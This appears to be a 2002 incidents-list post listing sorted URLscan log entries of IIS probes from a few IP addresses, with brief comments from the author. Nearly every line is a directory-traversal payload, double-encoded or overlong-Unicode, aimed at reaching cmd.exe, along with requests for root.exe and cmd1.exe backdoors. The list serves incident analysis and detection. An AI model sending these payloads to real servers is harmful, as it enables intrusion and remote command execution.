IIS probe strings

This is a pruned and sorted list of url's requested by two probing IP addresses, 217.83.132.66 and 216.249.138.243, that were originally URLscan logs, posted to the intrusions@incidents list.

Here I've sorted the logs by the requested URL, out of curiosity...


[08-13-2002-01:26:20] 217.83.132.66: /..%252e..%252ewinnt/system32/cmd.exe
[08-13-2002-01:25:56] 217.83.132.66: /.%252e/.%252e/winnt/system32/cmd.exe

[08-13-2002-01:26:20] 217.83.132.66: /..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe
[08-13-2002-01:26:20] 217.83.132.66: /..%252f..%252fwinnt/system32/cmd.exe

[08-13-2002-01:26:20] 217.83.132.66: /..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe
[08-13-2002-01:26:20] 217.83.132.66: /..%25%35%63..%25%35%63winnt/system32/cmd.exe

[08-13-2002-01:25:56] 217.83.132.66: /..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe
[08-13-2002-01:25:56] 217.83.132.66: /..%%35c..%%35cwinnt/system32/cmd.exe

[08-13-2002-01:25:57] 217.83.132.66:   /adsamples/..%252e..%252ewinnt/system32/cmd.exe
[08-13-2002-01:25:51] 217.83.132.66:   /adsamples/.%252e/.%252e/winnt/system32/cmd.exe
[08-13-2002-01:25:57] 217.83.132.66:   /adsamples/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe
[08-13-2002-01:25:57] 217.83.132.66:   /adsamples/..%252f..%252fwinnt/system32/cmd.exe
[08-13-2002-01:25:57] 217.83.132.66:   /adsamples/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe
[08-13-2002-01:25:57] 217.83.132.66:   /adsamples/..%25%35%63..%25%35%63winnt/system32/cmd.exe
[08-13-2002-01:25:51] 217.83.132.66:   /adsamples/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe
[08-13-2002-13:10:49] 216.249.138.243: /adsamples/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe
[08-13-2002-01:25:56] 217.83.132.66:   /adsamples/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe
[08-13-2002-01:25:51] 217.83.132.66:   /adsamples/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe
[08-13-2002-01:25:51] 217.83.132.66:   /adsamples/..%%35c..%%35cwinnt/system32/cmd.exe
[08-13-2002-01:25:51] 217.83.132.66:   /adsamples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe
[08-13-2002-13:10:50] 216.249.138.243: /adsamples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe
[08-13-2002-01:25:23] 217.83.132.66:   /adsamples/cmd1.exe 
[08-13-2002-01:25:23] 217.83.132.66:   /adsamples/root.exe 

[08-13-2002-01:26:20] 217.83.132.66:   /..%C0%AF../..%C0%AF../..%C0%AF../winnt/system32/cmd.exe

[08-13-2002-01:25:56] 217.83.132.66:   /cgi-bin/..%252e..%252ewinnt/system32/cmd.exe
[08-13-2002-01:25:48] 217.83.132.66:   /cgi-bin/.%252e/.%252e/winnt/system32/cmd.exe
[08-13-2002-01:25:56] 217.83.132.66:   /cgi-bin/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe
[08-13-2002-01:25:56] 217.83.132.66:   /cgi-bin/..%252f..%252fwinnt/system32/cmd.exe
[08-13-2002-01:25:57] 217.83.132.66:   /cgi-bin/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe
[08-13-2002-01:25:56] 217.83.132.66:   /cgi-bin/..%25%35%63..%25%35%63winnt/system32/cmd.exe
[08-13-2002-01:25:57] 217.83.132.66:   /cgi-bin/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe
[08-13-2002-13:10:52] 216.249.138.243: /cgi-bin/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe
[08-13-2002-01:25:51] 217.83.132.66:   /cgi-bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe
[08-13-2002-01:25:56] 217.83.132.66:   /cgi-bin/..%255c..%255cwinnt/system32/cmd.exe
[08-13-2002-01:25:57] 217.83.132.66:   /cgi-bin/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe
[08-13-2002-01:25:48] 217.83.132.66:   /cgi-bin/..%%35c..%%35cwinnt/system32/cmd.exe
[08-13-2002-01:25:51] 217.83.132.66:   /cgi-bin/..%c0%9v../..%c0%9v../..%c0%9v../winnt/system32/cmd.exe
[08-13-2002-01:25:51] 217.83.132.66:   /cgi-bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe
[08-13-2002-13:10:53] 216.249.138.243: /cgi-bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe
[08-13-2002-01:25:51] 217.83.132.66:   /cgi-bin/..%C0%AF../..%C0%AF../..%C0%AF../winnt/system32/cmd.exe
[08-13-2002-01:25:51] 217.83.132.66:   /cgi-bin/..%c0%qf../..%c0%qf../..%c0%qf../winnt/system32/cmd.exe
[08-13-2002-01:25:51] 217.83.132.66:   /cgi-bin/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe
[08-13-2002-01:25:51] 217.83.132.66:   /cgi-bin/..%c1%8s../..%c1%8s../..%c1%8s../winnt/system32/cmd.exe
[08-13-2002-01:25:51] 217.83.132.66:   /cgi-bin/..%c1%9c../..%c1%9c../..%c1%9c../winnt/system32/cmd.exe
[08-13-2002-01:25:48] 217.83.132.66:   /cgi-bin/..%c1%af../..%c1%af../..%c1%af../winnt/system32/cmd.exe
[08-13-2002-01:25:48] 217.83.132.66:   /cgi-bin/..%c1%pc../..%c1%pc../..%c1%pc../winnt/system32/cmd.exe
[08-13-2002-01:25:35] 217.83.132.66:   /cgi-bin/cmd1.exe 
[08-13-2002-01:25:48] 217.83.132.66:   /cgi-bin/..%e0%80%af../..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe
[08-13-2002-01:25:51] 217.83.132.66:   /cgi-bin/..%f0%80%80%af../..%f0%80%80%af../..%f0%80%80%af../winnt/system32/cmd.exe
[08-13-2002-01:25:51] 217.83.132.66:   /cgi-bin/..%f8%80%80%80%af../..%f8%80%80%80%af../..%f8%80%80%80%af../winnt/system32/cmd.exe
[08-13-2002-01:25:51] 217.83.132.66:   /cgi-bin/..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../winnt/system32/cmd.exe
[08-13-2002-01:25:23] 217.83.132.66:   /cgi-bin/root.exe 

[08-13-2002-01:25:23] 217.83.132.66:   /cmd1.exe ** New on me, never seen cmd1.exe, which I assume is a copy of cmd.exe 

[08-13-2002-13:10:51] 216.249.138.243: /c/winnt/system32/cmd.exe 
[08-13-2002-13:10:54] 216.249.138.243: /d/winnt/system32/cmd.exe 

[08-13-2002-01:25:48] 217.83.132.66:   /iisadmpwd/..%252e..%252ewinnt/system32/cmd.exe
[08-13-2002-01:26:08] 217.83.132.66:   /iisadmpwd/.%252e/.%252e/winnt/system32/cmd.exe
[08-13-2002-01:25:51] 217.83.132.66:   /iisadmpwd/..%252f..%252f..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe
[08-13-2002-13:10:55] 216.249.138.243: /iisadmpwd/..%252f..%252f..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe
[08-13-2002-01:25:48] 217.83.132.66:   /iisadmpwd/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe
[08-13-2002-01:26:08] 217.83.132.66:   /iisadmpwd/..%252f..%252fwinnt/system32/cmd.exe
[08-13-2002-01:26:08] 217.83.132.66:   /iisadmpwd/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe
[08-13-2002-01:26:08] 217.83.132.66:   /iisadmpwd/..%25%35%63..%25%35%63winnt/system32/cmd.exe
[08-13-2002-01:25:51] 217.83.132.66:   /iisadmpwd/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe
[08-13-2002-01:26:08] 217.83.132.66:   /iisadmpwd/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe
[08-13-2002-01:25:48] 217.83.132.66:   /iisadmpwd/..%%35c..%%35cwinnt/system32/cmd.exe
[08-13-2002-01:26:08] 217.83.132.66:   /iisadmpwd/..%c0%9v../..%c0%9v../..%c0%9v../winnt/system32/cmd.exe
[08-13-2002-01:26:08] 217.83.132.66:   /iisadmpwd/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe
[08-13-2002-13:10:56] 216.249.138.243: /iisadmpwd/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe
[08-13-2002-01:25:51] 217.83.132.66:   /iisadmpwd/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe
[08-13-2002-01:26:09] 217.83.132.66:   /iisadmpwd/..%c0%qf../..%c0%qf../..%c0%qf../winnt/system32/cmd.exe
[08-13-2002-01:26:09] 217.83.132.66:   /iisadmpwd/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe
[08-13-2002-01:26:09] 217.83.132.66:   /iisadmpwd/..%c1%8s../..%c1%8s../..%c1%8s../winnt/system32/cmd.exe
[08-13-2002-01:25:50] 217.83.132.66:   /iisadmpwd/..%c1%9c../..%c1%9c../..%c1%9c../winnt/system32/cmd.exe
[08-13-2002-01:25:50] 217.83.132.66:   /iisadmpwd/..%c1%af../..%c1%af../..%c1%af../winnt/system32/cmd.exe
[08-13-2002-01:26:09] 217.83.132.66:   /iisadmpwd/..%c1%pc../..%c1%pc../..%c1%pc../winnt/system32/cmd.exe
[08-13-2002-01:25:17] 217.83.132.66:   /iisadmpwd/cmd1.exe 
[08-13-2002-01:25:50] 217.83.132.66:   /iisadmpwd/..%e0%80%af../..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe
[08-13-2002-01:25:50] 217.83.132.66:   /iisadmpwd/..%f0%80%80%af../..%f0%80%80%af../..%f0%80%80%af../winnt/system32/cmd.exe
[08-13-2002-01:25:50] 217.83.132.66:   /iisadmpwd/..%f8%80%80%80%af../..%f8%80%80%80%af../..%f8%80%80%80%af../winnt/system32/cmd.exe
[08-13-2002-01:25:50] 217.83.132.66:   /iisadmpwd/..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../winnt/system32/cmd.exe
[08-13-2002-01:25:23] 217.83.132.66:   /iisadmpwd/root.exe 

[08-13-2002-01:25:57] 217.83.132.66: /iissamples/..%252e..%252ewinnt/system32/cmd.exe
[08-13-2002-01:25:57] 217.83.132.66: /iissamples/.%252e/.%252e/winnt/system32/cmd.exe
[08-13-2002-01:25:57] 217.83.132.66: /iissamples/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe
[08-13-2002-01:25:57] 217.83.132.66: /iissamples/..%252f..%252fwinnt/system32/cmd.exe
[08-13-2002-01:25:57] 217.83.132.66: /iissamples/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe
[08-13-2002-01:25:57] 217.83.132.66: /iissamples/..%25%35%63..%25%35%63winnt/system32/cmd.exe
[08-13-2002-01:25:57] 217.83.132.66: /iissamples/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe
[08-13-2002-01:25:57] 217.83.132.66: /iissamples/..%%35c..%%35cwinnt/system32/cmd.exe
[08-13-2002-01:25:23] 217.83.132.66: /iissamples/cmd1.exe 
[08-13-2002-01:25:23] 217.83.132.66: /iissamples/root.exe 

[08-13-2002-01:26:08] 217.83.132.66: /images/..%252e..%252ewinnt/system32/cmd.exe
[08-13-2002-01:26:08] 217.83.132.66: /images/.%252e/.%252e/winnt/system32/cmd.exe
[08-13-2002-01:26:08] 217.83.132.66: /images/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe
[08-13-2002-01:26:08] 217.83.132.66: /images/..%252f..%252fwinnt/system32/cmd.exe
[08-13-2002-01:25:48] 217.83.132.66: /images/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe
[08-13-2002-01:26:08] 217.83.132.66: /images/..%25%35%63..%25%35%63winnt/system32/cmd.exe
[08-13-2002-01:26:08] 217.83.132.66: /images/..%255c..%255cwinnt/system32/cmd.exe
[08-13-2002-01:26:08] 217.83.132.66: /images/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe
[08-13-2002-01:26:09] 217.83.132.66: /images/..%%35c..%%35cwinnt/system32/cmd.exe
[08-13-2002-01:26:08] 217.83.132.66: /images/..%c0%9v../..%c0%9v../..%c0%9v../winnt/system32/cmd.exe
[08-13-2002-01:25:57] 217.83.132.66: /images/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe
[08-13-2002-01:25:57] 217.83.132.66: /images/..%C0%AF../..%C0%AF../..%C0%AF../winnt/system32/cmd.exe
[08-13-2002-01:25:57] 217.83.132.66: /images/..%c0%qf../..%c0%qf../..%c0%qf../winnt/system32/cmd.exe
[08-13-2002-01:25:57] 217.83.132.66: /images/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe
[08-13-2002-01:25:57] 217.83.132.66: /images/..%c1%8s../..%c1%8s../..%c1%8s../winnt/system32/cmd.exe
[08-13-2002-01:25:57] 217.83.132.66: /images/..%c1%9c../..%c1%9c../..%c1%9c../winnt/system32/cmd.exe
[08-13-2002-01:25:57] 217.83.132.66: /images/..%c1%af../..%c1%af../..%c1%af../winnt/system32/cmd.exe
[08-13-2002-01:25:57] 217.83.132.66: /images/..%c1%pc../..%c1%pc../..%c1%pc../winnt/system32/cmd.exe
[08-13-2002-01:25:17] 217.83.132.66: /images/cmd1.exe ** New on me 
[08-13-2002-01:25:57] 217.83.132.66: /images/..%e0%80%af../..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe
[08-13-2002-01:25:57] 217.83.132.66: /images/..%f0%80%80%af../..%f0%80%80%af../..%f0%80%80%af../winnt/system32/cmd.exe
[08-13-2002-01:25:57] 217.83.132.66: /images/..%f8%80%80%80%af../..%f8%80%80%80%af../..%f8%80%80%80%af../winnt/system32/cmd.exe
[08-13-2002-01:25:57] 217.83.132.66: /images/..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../winnt/system32/cmd.exe
[08-13-2002-01:25:23] 217.83.132.66: /images/root.exe 

[08-13-2002-01:25:51] 217.83.132.66:   /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe
[08-13-2002-13:10:38] 216.249.138.243: /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe

[08-13-2002-01:25:23] 217.83.132.66:   /msadc/..%252e..%252ewinnt/system32/cmd.exe
[08-13-2002-01:25:23] 217.83.132.66:   /msadc/.%252e/.%252e/winnt/system32/cmd.exe
[08-13-2002-01:25:17] 217.83.132.66:   /msadc/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe
[08-13-2002-01:25:23] 217.83.132.66:   /msadc/..%252f..%252fwinnt/system32/cmd.exe
[08-13-2002-01:25:23] 217.83.132.66:   /msadc/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe
[08-13-2002-01:25:23] 217.83.132.66:   /msadc/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe
[08-13-2002-13:11:04] 216.249.138.243: /msadc/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe
[08-13-2002-01:25:17] 217.83.132.66:   /msadc/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe
[08-13-2002-13:11:05] 216.249.138.243: /msadc/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe
[08-13-2002-01:25:17] 217.83.132.66:   /msadc/..%25%35%63..%25%35%63winnt/system32/cmd.exe
[08-13-2002-01:25:17] 217.83.132.66:   /msadc/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe
[08-13-2002-13:11:06] 216.249.138.243: /msadc/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe
[08-13-2002-01:25:17] 217.83.132.66:   /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe
[08-13-2002-13:11:08] 216.249.138.243: /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe
[08-13-2002-01:25:15] 217.83.132.66:   /msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe
[08-13-2002-13:11:07] 216.249.138.243: /msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe
[08-13-2002-13:10:57] 216.249.138.243: /msaDC/..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe
[08-13-2002-01:25:23] 217.83.132.66:   /msadc/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe
[08-13-2002-13:11:02] 216.249.138.243: /msadc/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe
[08-13-2002-01:25:17] 217.83.132.66:   /msadc/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe
[08-13-2002-13:11:03] 216.249.138.243: /msadc/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe
[08-13-2002-01:25:17] 217.83.132.66:   /msadc/..%%35c..%%35cwinnt/system32/cmd.exe
[08-13-2002-01:25:17] 217.83.132.66:   /msadc/..%c0%9v../..%c0%9v../..%c0%9v../winnt/system32/cmd.exe
[08-13-2002-01:25:17] 217.83.132.66:   /msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe
[08-13-2002-13:11:09] 216.249.138.243: /msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe
[08-13-2002-01:25:23] 217.83.132.66:   /msadc/..%c0%qf../..%c0%qf../..%c0%qf../winnt/system32/cmd.exe
[08-13-2002-01:25:17] 217.83.132.66:   /msadc/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe
[08-13-2002-01:25:24] 217.83.132.66:   /msadc/..%c1%8s../..%c1%8s../..%c1%8s../winnt/system32/cmd.exe
[08-13-2002-01:25:15] 217.83.132.66:   /msadc/..%c1%9c../..%c1%9c../..%c1%9c../winnt/system32/cmd.exe
[08-13-2002-01:25:23] 217.83.132.66:   /msadc/..%c1%af../..%c1%af../..%c1%af../winnt/system32/cmd.exe
[08-13-2002-13:11:11] 216.249.138.243: /msadc/..%c1%af../winnt/system32/cmd.exe
[08-13-2002-01:25:23] 217.83.132.66:   /msadc/..%c1%pc../..%c1%pc../..%c1%pc../winnt/system32/cmd.exe
[08-13-2002-13:11:14] 216.249.138.243: /msadc/..%c1%pc../..%c1%pc../..%c1%pc../winnt/system32/cmd.exe
[08-13-2002-13:11:15] 216.249.138.243: /msadc/..%c1%pc../winnt/system32/cmd.exe
[08-13-2002-01:25:23] 217.83.132.66:   /msadc/cmd1.exe 
[08-13-2002-01:25:17] 217.83.132.66:   /msadc/..\%e0\%80\%af../..\%e0\%80\%af../..\%e0\%80\%af../winnt/system32/cmd.exe
[08-13-2002-01:25:17] 217.83.132.66:   /msadc/..%e0%80%af../..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe
[08-13-2002-13:11:16] 216.249.138.243: /msadc/..%e0%80%af../..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe
[08-13-2002-01:25:23] 217.83.132.66:   /msadc/..\%e0\%80\%af../..\%e0\%80\%af../..\%e0\%80\%af../winnt/system32/cmd.exe\ ** New on me, note the trailing \ 
[08-13-2002-13:11:17] 216.249.138.243: /msadc/..%e0%80%af../winnt/system32/cmd.exe
[08-13-2002-01:25:23] 217.83.132.66:   /msadc/..%f0%80%80%af../..%f0%80%80%af../..%f0%80%80%af../winnt/system32/cmd.exe
[08-13-2002-13:11:18] 216.249.138.243: /msadc/..%f0%80%80%af../..%f0%80%80%af../..%f0%80%80%af../winnt/system32/cmd.exe
[08-13-2002-13:11:19] 216.249.138.243: /msadc/..%f0%80%80%af../winnt/system32/cmd.exe
[08-13-2002-01:25:23] 217.83.132.66:   /msadc/..%f8%80%80%80%af../..%f8%80%80%80%af../..%f8%80%80%80%af../winnt/system32/cmd.exe
[08-13-2002-13:11:20] 216.249.138.243: /msadc/..%f8%80%80%80%af../..%f8%80%80%80%af../..%f8%80%80%80%af../winnt/system32/cmd.exe
[08-13-2002-13:11:21] 216.249.138.243: /msadc/..%f8%80%80%80%af../winnt/system32/cmd.exe
[08-13-2002-13:11:58] 216.249.138.243: /msadc/..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../winnt/system32/cmd.exe 
[08-13-2002-01:25:17] 217.83.132.66:   /msadc/..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../winnt/system32/cmd.exe ** New on me 
[08-13-2002-01:25:23] 217.83.132.66:   /msadc/root.exe 

[08-13-2002-13:11:01] 216.249.138.243: /msaDC/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe
[08-13-2002-13:10:58] 216.249.138.243: /msaDC/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe
[08-13-2002-13:10:59] 216.249.138.243: /msaDC/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe

[08-13-2002-13:10:28] 216.249.138.243: /MSADC/root.exe 
[08-13-2002-01:25:17] 217.83.132.66:   /MSADC/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe
[08-13-2002-01:25:23] 217.83.132.66:   /MSADC/..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe

[08-13-2002-01:25:56] 217.83.132.66:   /PBServer/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe
[08-13-2002-13:10:31] 216.249.138.243: /PBServer/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe
[08-13-2002-01:25:50] 217.83.132.66:   /PBServer/..%255c..%255c..%255cwinnt/system32/cmd.exe
[08-13-2002-13:10:32] 216.249.138.243: /PBServer/..%255c..%255c..%255cwinnt/system32/cmd.exe
[08-13-2002-01:25:56] 217.83.132.66:   /PBServer/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe
[08-13-2002-13:10:29] 216.249.138.243: /PBServer/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe
[08-13-2002-01:25:50] 217.83.132.66:   /PBServer/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe
[08-13-2002-13:10:30] 216.249.138.243: /PBServer/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe

[08-13-2002-01:25:14] 217.83.132.66: /root.exe 

[08-13-2002-01:25:51] 217.83.132.66:   /Rpc/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe
[08-13-2002-13:10:35] 216.249.138.243: /Rpc/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe
[08-13-2002-01:25:51] 217.83.132.66:   /Rpc/..%255c..%255c..%255cwinnt/system32/cmd.exe
[08-13-2002-13:10:37] 216.249.138.243: /Rpc/..%255c..%255c..%255cwinnt/system32/cmd.exe
[08-13-2002-01:25:51] 217.83.132.66:   /Rpc/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe
[08-13-2002-13:10:33] 216.249.138.243: /Rpc/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe
[08-13-2002-01:25:51] 217.83.132.66:   /Rpc/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe
[08-13-2002-13:10:34] 216.249.138.243: /Rpc/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe

[08-13-2002-01:26:09] 217.83.132.66:   /samples/..%252e..%252ewinnt/system32/cmd.exe
[08-13-2002-01:26:09] 217.83.132.66:   /samples/.%252e/.%252e/winnt/system32/cmd.exe
[08-13-2002-01:26:09] 217.83.132.66:   /samples/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe
[08-13-2002-01:25:57] 217.83.132.66:   /samples/..%252f..%252fwinnt/system32/cmd.exe
[08-13-2002-01:25:51] 217.83.132.66:   /samples/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe
[08-13-2002-01:26:09] 217.83.132.66:   /samples/..%25%35%63..%25%35%63winnt/system32/cmd.exe
[08-13-2002-01:26:09] 217.83.132.66:   /samples/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe
[08-13-2002-13:11:23] 216.249.138.243: /samples/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe
[08-13-2002-01:26:09] 217.83.132.66:   /samples/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe
[08-13-2002-01:26:09] 217.83.132.66:   /samples/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe
[08-13-2002-01:26:09] 217.83.132.66:   /samples/..%%35c..%%35cwinnt/system32/cmd.exe
[08-13-2002-01:25:57] 217.83.132.66:   /samples/..%c0%9v../..%c0%9v../..%c0%9v../winnt/system32/cmd.exe
[08-13-2002-01:26:09] 217.83.132.66:   /samples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe
[08-13-2002-13:11:24] 216.249.138.243: /samples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe
[08-13-2002-01:25:57] 217.83.132.66:   /samples/..%c0%qf../..%c0%qf../..%c0%qf../winnt/system32/cmd.exe
[08-13-2002-01:25:57] 217.83.132.66:   /samples/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe
[08-13-2002-01:25:57] 217.83.132.66:   /samples/..%c1%8s../..%c1%8s../..%c1%8s../winnt/system32/cmd.exe
[08-13-2002-01:25:57] 217.83.132.66:   /samples/..%c1%9c../..%c1%9c../..%c1%9c../winnt/system32/cmd.exe
[08-13-2002-01:25:57] 217.83.132.66:   /samples/..%c1%af../..%c1%af../..%c1%af../winnt/system32/cmd.exe
[08-13-2002-01:25:57] 217.83.132.66:   /samples/..%c1%pc../..%c1%pc../..%c1%pc../winnt/system32/cmd.exe
[08-13-2002-01:25:17] 217.83.132.66:   /samples/cmd1.exe ** New on me 
[08-13-2002-01:25:57] 217.83.132.66:   /samples/..%e0%80%af../..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe
[08-13-2002-01:25:57] 217.83.132.66:   /samples/..%f0%80%80%af../..%f0%80%80%af../..%f0%80%80%af../winnt/system32/cmd.exe
[08-13-2002-01:25:57] 217.83.132.66:   /samples/..%f8%80%80%80%af../..%f8%80%80%80%af../..%f8%80%80%80%af../winnt/system32/cmd.exe
[08-13-2002-01:25:57] 217.83.132.66:   /samples/..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../winnt/system32/cmd.exe
[08-13-2002-01:25:23] 217.83.132.66:   /samples/root.exe 

[08-13-2002-01:25:35] 217.83.132.66:   /scripts/..%252e..%252ewinnt/system32/cmd.exe
[08-13-2002-01:25:35] 217.83.132.66:   /scripts/.%252e/.%252e/winnt/system32/cmd.exe
[08-13-2002-13:11:26] 216.249.138.243: /scripts/.%252e/.%252e/winnt/system32/cmd.exe
[08-13-2002-01:25:35] 217.83.132.66:   /scripts/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe
[08-13-2002-13:11:31] 216.249.138.243: /scripts/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe
[08-13-2002-01:25:35] 217.83.132.66:   /scripts/..%252f..%252fwinnt/system32/cmd.exe
[08-13-2002-01:25:35] 217.83.132.66:   /scripts/..%252f../winnt/system32/cmd.exe
[08-13-2002-13:11:32] 216.249.138.243: /scripts/..%252f../winnt/system32/cmd.exe
[08-13-2002-01:25:35] 217.83.132.66:   /scripts/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe
[08-13-2002-01:25:35] 217.83.132.66:   /scripts/..%25%35%63..%25%35%63winnt/system32/cmd.exe
[08-13-2002-01:25:35] 217.83.132.66:   /scripts/..%25%35%63../winnt/system32/cmd.exe
[08-13-2002-13:11:30] 216.249.138.243: /scripts/..%25%35%63../winnt/system32/cmd.exe
[08-13-2002-01:25:35] 217.83.132.66:   /scripts/..%255c..%255cwinnt/system32/cmd.exe
[08-13-2002-13:11:35] 216.249.138.243: /scripts/..%255c..%255cwinnt/system32/cmd.exe

[08-13-2002-11:11:58] 212.11.103.164: /scripts/..%255c%255c../winnt/system32/cmd.exe

[08-13-2002-13:11:34] 216.249.138.243: /scripts/..%255c%255c../winnt/system32/cmd.exe
[08-13-2002-01:25:35] 217.83.132.66:   /scripts/..%255c../winnt/system32/cmd.exe
[08-13-2002-13:11:36] 216.249.138.243: /scripts/..%255c../winnt/system32/cmd.exe
[08-13-2002-01:25:35] 217.83.132.66:   /scripts/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe
[08-13-2002-01:25:35] 217.83.132.66:   /scripts/..%%35%63../winnt/system32/cmd.exe
[08-13-2002-13:11:27] 216.249.138.243: /scripts/..%%35%63../winnt/system32/cmd.exe
[08-13-2002-01:25:35] 217.83.132.66:   /scripts/..%%35c..%%35cwinnt/system32/cmd.exe
[08-13-2002-01:25:35] 217.83.132.66:   /scripts/..%%35c../winnt/system32/cmd.exe
[08-13-2002-13:11:29] 216.249.138.243: /scripts/..%%35c../winnt/system32/cmd.exe
